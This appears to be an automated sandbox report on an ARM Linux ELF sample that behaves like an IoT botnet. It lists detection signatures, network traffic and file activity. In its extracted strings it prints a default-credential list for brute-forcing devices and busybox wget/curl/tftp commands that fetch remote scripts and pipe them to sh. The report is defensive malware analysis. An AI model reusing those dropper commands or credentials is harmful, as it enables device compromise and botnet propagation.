Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name: la.bot.arm.elf
Analysis ID: 1541996
MD5: 8266be6f3f3c0f03d692d04f215df6c6
SHA1: 62896780b9a1999259ab2b8c721ab96cff071f52
SHA256: 8409f085e003a6d94346ab0db5d7cde16f00bac1703cc74e213efefee6665591
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: la.bot.arm.elf ReversingLabs: Detection: 39%
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4(

Networking

barindex
Source: global traffic TCP traffic: 156.244.13.91 ports 3,4,6,7,9,49376
Source: global traffic TCP traffic: 192.168.2.13:48422 -> 156.244.13.91:49376
Source: /tmp/la.bot.arm.elf (PID: 5437) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 103.240.82.140
Source: unknown TCP traffic detected without corresponding DNS query: 103.240.82.140
Source: unknown TCP traffic detected without corresponding DNS query: 172.170.188.124
Source: unknown TCP traffic detected without corresponding DNS query: 172.170.188.124
Source: unknown TCP traffic detected without corresponding DNS query: 92.4.51.25
Source: unknown TCP traffic detected without corresponding DNS query: 92.4.51.25
Source: unknown TCP traffic detected without corresponding DNS query: 35.128.247.191
Source: unknown TCP traffic detected without corresponding DNS query: 35.128.247.191
Source: unknown TCP traffic detected without corresponding DNS query: 78.213.68.85
Source: unknown TCP traffic detected without corresponding DNS query: 78.213.68.85
Source: unknown TCP traffic detected without corresponding DNS query: 54.137.11.190
Source: unknown TCP traffic detected without corresponding DNS query: 54.137.11.190
Source: unknown TCP traffic detected without corresponding DNS query: 194.126.61.59
Source: unknown TCP traffic detected without corresponding DNS query: 194.126.61.59
Source: unknown TCP traffic detected without corresponding DNS query: 56.216.46.167
Source: unknown TCP traffic detected without corresponding DNS query: 56.216.46.167
Source: unknown TCP traffic detected without corresponding DNS query: 18.163.53.180
Source: unknown TCP traffic detected without corresponding DNS query: 7.76.224.57
Source: unknown TCP traffic detected without corresponding DNS query: 18.163.53.180
Source: unknown TCP traffic detected without corresponding DNS query: 147.244.28.250
Source: unknown TCP traffic detected without corresponding DNS query: 7.76.224.57
Source: unknown TCP traffic detected without corresponding DNS query: 187.136.25.60
Source: unknown TCP traffic detected without corresponding DNS query: 147.244.28.250
Source: unknown TCP traffic detected without corresponding DNS query: 31.148.20.177
Source: unknown TCP traffic detected without corresponding DNS query: 187.136.25.60
Source: unknown TCP traffic detected without corresponding DNS query: 67.65.165.210
Source: unknown TCP traffic detected without corresponding DNS query: 31.148.20.177
Source: unknown TCP traffic detected without corresponding DNS query: 93.235.165.111
Source: unknown TCP traffic detected without corresponding DNS query: 67.65.165.210
Source: unknown TCP traffic detected without corresponding DNS query: 103.196.20.239
Source: unknown TCP traffic detected without corresponding DNS query: 93.235.165.111
Source: unknown TCP traffic detected without corresponding DNS query: 98.206.180.230
Source: unknown TCP traffic detected without corresponding DNS query: 103.196.20.239
Source: unknown TCP traffic detected without corresponding DNS query: 78.31.64.61
Source: unknown TCP traffic detected without corresponding DNS query: 98.206.180.230
Source: unknown TCP traffic detected without corresponding DNS query: 53.24.89.223
Source: unknown TCP traffic detected without corresponding DNS query: 78.31.64.61
Source: unknown TCP traffic detected without corresponding DNS query: 109.186.159.168
Source: unknown TCP traffic detected without corresponding DNS query: 53.24.89.223
Source: unknown TCP traffic detected without corresponding DNS query: 114.211.122.78
Source: unknown TCP traffic detected without corresponding DNS query: 131.118.226.156
Source: unknown TCP traffic detected without corresponding DNS query: 109.186.159.168
Source: unknown TCP traffic detected without corresponding DNS query: 160.212.116.200
Source: unknown TCP traffic detected without corresponding DNS query: 114.211.122.78
Source: unknown TCP traffic detected without corresponding DNS query: 131.118.226.156
Source: unknown TCP traffic detected without corresponding DNS query: 134.40.173.3
Source: unknown TCP traffic detected without corresponding DNS query: 160.212.116.200
Source: unknown TCP traffic detected without corresponding DNS query: 34.28.44.148
Source: unknown TCP traffic detected without corresponding DNS query: 67.253.20.224
Source: unknown TCP traffic detected without corresponding DNS query: 134.40.173.3
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/la.bot.arm.elf (PID: 5439) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.evad.linELF@0/0@3/0

Data Obfuscation

barindex
Source: /tmp/la.bot.arm.elf (PID: 5440) File: /etc/config Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5440) Directory: /etc/.java Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/790/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/792/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/793/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/795/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/797/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/778/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/855/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/780/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/660/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/783/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/884/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/765/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/767/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/726/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5439) File opened: /proc/727/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/la.bot.arm.elf (PID: 5440) Log files deleted: /var/log/kern.log Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5437) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm.elf, 5437.1.00007ffc63320000.00007ffc63341000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
Source: la.bot.arm.elf, 5437.1.00005640c4908000.00005640c4a56000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5437.1.00007ffc63320000.00007ffc63341000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm.elf, 5437.1.00005640c4908000.00005640c4a56000.rw-.sdmp Binary or memory string: @V!/etc/qemu-binfmt/arm
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs